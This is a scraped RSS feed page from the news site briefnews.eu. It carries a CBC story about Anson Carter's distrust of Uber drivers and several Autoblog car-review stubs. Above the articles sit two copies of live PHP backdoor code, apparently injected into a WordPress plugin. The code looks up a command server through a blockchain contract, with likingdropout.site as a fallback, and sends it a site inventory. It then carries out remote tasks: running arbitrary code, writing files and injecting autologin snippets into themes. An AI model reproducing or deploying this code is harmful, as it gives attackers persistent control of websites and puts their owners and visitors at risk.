// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); drivers&#039 – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 07 Nov 2018 12:51:01 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png drivers&#039 – Brief News https://briefnews.eu 32 32 'I don't trust any of these Uber drivers,' says former NHLer Anson Carter https://briefnews.eu/i-dont-trust-any-of-these-uber-drivers-says-former-nhler-anson-carter/ https://briefnews.eu/i-dont-trust-any-of-these-uber-drivers-says-former-nhler-anson-carter/#respond Wed, 07 Nov 2018 12:51:01 +0000 http://briefnews.eu/i-dont-trust-any-of-these-uber-drivers-says-former-nhler-anson-carter/

Former NHL forward Anson Carter wasn't surprised when news broke Monday night of a video being posted online involving Ottawa Senators players joking about and criticizing their team's coaches and defence. He thought it would be occurring more often.

"You see cameras all the time. People could be eavesdropping on conversations or live streaming them," the ex-player-turned studio analyst says over the phone.

In the five-minute recording, from the dash of an Uber driver's van or SUV on Oct. 29 in Phoenix, Senators players Thomas Chabot, Dylan DeMelo, Matt Duchene, Alex Formenton, Chris Tierney, Chris Wideman and Colin White are shown talking about the team's ineffective penalty kill and mocking special teams coach Marty Raymond.

Seven Ottawa Senators players are apologizing after a video surfaced of them trash-talking and ridiculing their assistant coach. Postmedia found the video on social media and re-posted it. 4:18
“Even though you think you’re in a car by yourself, somebody’s always watching and listening,” says Carter, who last played an NHL game during the 2006-07 season for Carolina. “I go into every car assuming someone is listening.”

Carter didn't act that way before the Washington Capitals acquired him in a Jan. 23, 2004 trade with the New York Rangers for fellow forward Jaromir Jagr.

Summoned to coach's office

Shortly after reporting to his new team, an appreciative Carter was told the private driver for Capitals general manager George McPhee (now GM of the Vegas Golden Knights) would take him to his condo in New York so he could grab some belongings before the team's next game in Philadelphia.

Sitting in the back seat, Carter says he was on the phone with his hairstylist to help arrange her flight to New York from Edmonton, where he had played the previous season. When you have dreadlocks and find someone who does your hair properly, says the Toronto native, you go to great lengths to have them see you.

About two weeks later, Carter was summoned to Capitals head coach Glen Hanlon's office.

“He was ripping me about something and later said, ‘We do you a favour to let you get your stuff in New York and you’re taking advantage of flying in broads and partying?'”

Shocked at the accusation, Carter left the meeting to join his teammates at practice but couldn't stop thinking about his coach's words. He later infered that McPhee's driver must have twisted the story and told the GM and/or Hanlon.

"He probably heard 'Female, flying in early, on a day off,'" Carter says of the driver. "He's not hearing about her doing my hair. I was pissed. This was an invasion of my privacy. Someone was eavesdropping on the conversation and [the Capitals] either planted this guy … and that was not a good look."

McPhee mum on incident

Carter, who was dealt to the Los Angeles Kings less than six weeks later, said he never discussed the matter further with either McPhee or Hanlon and hasn't had the opportunity to do so since. Hanlon now coaches in Hungary.

You wouldn't expect them to throw you under the bus since they're paid to take you from Point A to Point B, but now I know.— Former NHL forward Anson Carter on Uber drivers

"We'll respectfully decline commenting on this matter," a Golden Knights spokesperson, speaking on behalf of McPhee, told CBC Sports on Tuesday night.

The Capitals, under different management, said they no longer have a personal driving service for the team.

Carter, who played for eight teams in 10 NHL seasons, says he chose to share his "eye-opening learning experience" to warn athletes to never assume the driver from a car service will respect your privacy.

If Carter receives a call from his wife or two daughters while travelling for work with NBC and MSG Network, he tells them he'll call back when he's in his own car.

Players' comments 'no big deal'

"I don't trust any of these drivers," he says. "You wouldn't expect them to throw you under the bus since they're paid to take you from Point A to Point B, but now I know.

"I look back and I'm actually thankful it did happen to me because it'll never happen to me again."

Zack Smith and Craig Anderson fielded questions about their teammates' conduct during an Uber ride in Phoenix in October. Seven players have apologized for mocking assistant coach Martin Raymond. 0:35
As for the aforementioned Senators who criticized their coach, Carter says players’ airing such feelings with each other “is no big deal,” noting coaches during his playing days were also critical of players behind closed doors.

Hockey Night in Canada host Ron MacLean agreed no one should be shocked that people may make inappropriate comments while kibitzing late at night.

Weak penalty kill

"This story … is just really troubling," he said in an upcoming Hockey Night in Canada podcast. "It creates in us a little paranoia about 'God, if we ever go out drinking again what do we do?'

"I don't know what we could have done to maybe alter the storytelling … but one thing that really leapt out at me when the story broke was the way it finds its place at the front of the headlines without nuance, without maybe a fairer reporting of understanding, of compassion, some of the things that I think are appropriate."

A group of Ottawa Senators players got caught red-handed talking about their coach… but only because an Uber driver released his dashboard footage. Who messed up more? 1:17

Ottawa entered Tuesday's game against New Jersey with a 5-6-3 record and 29th among 31 teams with a 68.8 per cent success rate on the penalty kill.

"I'm sure the guys on the penalty kill aren't just carving the coach and not saying anything in the room," says the 44-year-old Carter, who scored 202 goals and 421 points in 674 NHL regular-season games. "You want to have that constructive conversation [with the coach]. That's how you improve."

Turbulent times

The video recording is the latest scandal for a team that's been riddled with them lately.

Negative headlines dogged the Senators last season, including a threat by owner Eugene Melnyk to move the team if ticket sales didn't improve. And in May, the wife of former captain Erik Karlsson filed an order of protection against Mike Hoffman's fiancee, claiming she had posted over 1,000 "negative and derogatory" comments about her on social media. Both Karlsson and Hoffman were traded in the off-season.

"Unfortunately, it's another blemish on the organization but I like how the team has played so far this season," says Carter. "I think their future is bright with [rookie forward Brady] Tkachuk, [defencemen] Chabot and [Maxime] Lajoie, [forward Jean-Gabriel] Pageau and [Craig] Anderson in net."

Let’s block ads! (Why?)

]]> https://briefnews.eu/i-dont-trust-any-of-these-uber-drivers-says-former-nhler-anson-carter/feed/ 0 2019 Volkswagen Jetta R-Line Drivers' Notes Review | Finding that old flame https://briefnews.eu/2019-volkswagen-jetta-r-line-drivers-notes-review-finding-that-old-flame/ https://briefnews.eu/2019-volkswagen-jetta-r-line-drivers-notes-review-finding-that-old-flame/#respond Tue, 09 Oct 2018 17:41:34 +0000 http://briefnews.eu/2019-volkswagen-jetta-r-line-drivers-notes-review-finding-that-old-flame/ [unable to retrieve full-text content]

Filed under:
,,,


The seventh-generation Jetta regains some of that premium feel.

Continue reading 2019 Volkswagen Jetta R-Line Drivers’ Notes Review | Finding that old flame

2019 Volkswagen Jetta R-Line Drivers’ Notes Review | Finding that old flame originally appeared on Autoblog on Tue, 09 Oct 2018 13:10:00 EDT. Please see our terms for use of feeds.

Permalink | 
Email this | 
Comments

]]> https://briefnews.eu/2019-volkswagen-jetta-r-line-drivers-notes-review-finding-that-old-flame/feed/ 0 2018 BMW X2 xDrive 28i Drivers' Notes Review | Style and substance https://briefnews.eu/2018-bmw-x2-xdrive-28i-drivers-notes-review-style-and-substance/ https://briefnews.eu/2018-bmw-x2-xdrive-28i-drivers-notes-review-style-and-substance/#respond Wed, 03 Oct 2018 17:27:57 +0000 http://briefnews.eu/2018-bmw-x2-xdrive-28i-drivers-notes-review-style-and-substance/ [unable to retrieve full-text content]

Filed under:
,,,,,


Still mixed on the looks, but we generally enjoyed BMW’s smallest SUV.

Continue reading 2018 BMW X2 xDrive 28i Drivers’ Notes Review | Style and substance

2018 BMW X2 xDrive 28i Drivers’ Notes Review | Style and substance originally appeared on Autoblog on Wed, 03 Oct 2018 12:00:00 EDT. Please see our terms for use of feeds.

Permalink | 
Email this | 
Comments

]]> https://briefnews.eu/2018-bmw-x2-xdrive-28i-drivers-notes-review-style-and-substance/feed/ 0 2018 Subaru WRX STI Type RA Drivers' Notes Review | Fun for the few https://briefnews.eu/2018-subaru-wrx-sti-type-ra-drivers-notes-review-fun-for-the-few/ https://briefnews.eu/2018-subaru-wrx-sti-type-ra-drivers-notes-review-fun-for-the-few/#respond Mon, 17 Sep 2018 19:41:26 +0000 http://briefnews.eu/2018-subaru-wrx-sti-type-ra-drivers-notes-review-fun-for-the-few/ [unable to retrieve full-text content]

Filed under:
,,,


The RA is limited to just 500 units in the U.S.

Continue reading 2018 Subaru WRX STI Type RA Drivers’ Notes Review | Fun for the few

2018 Subaru WRX STI Type RA Drivers’ Notes Review | Fun for the few originally appeared on Autoblog on Mon, 17 Sep 2018 15:15:00 EDT. Please see our terms for use of feeds.

Permalink | 
Email this | 
Comments

]]> https://briefnews.eu/2018-subaru-wrx-sti-type-ra-drivers-notes-review-fun-for-the-few/feed/ 0 2018 Volkswagen Golf Alltrack Drivers' Notes | High country https://briefnews.eu/2018-volkswagen-golf-alltrack-drivers-notes-high-country/ https://briefnews.eu/2018-volkswagen-golf-alltrack-drivers-notes-high-country/#respond Tue, 14 Aug 2018 16:59:46 +0000 http://briefnews.eu/2018-volkswagen-golf-alltrack-drivers-notes-high-country/ [unable to retrieve full-text content]

Filed under:
,,


Don’t call it a crossover.

Continue reading 2018 Volkswagen Golf Alltrack Drivers’ Notes | High country

2018 Volkswagen Golf Alltrack Drivers’ Notes | High country originally appeared on Autoblog on Tue, 14 Aug 2018 11:45:00 EDT. Please see our terms for use of feeds.

Permalink | 
Email this | 
Comments

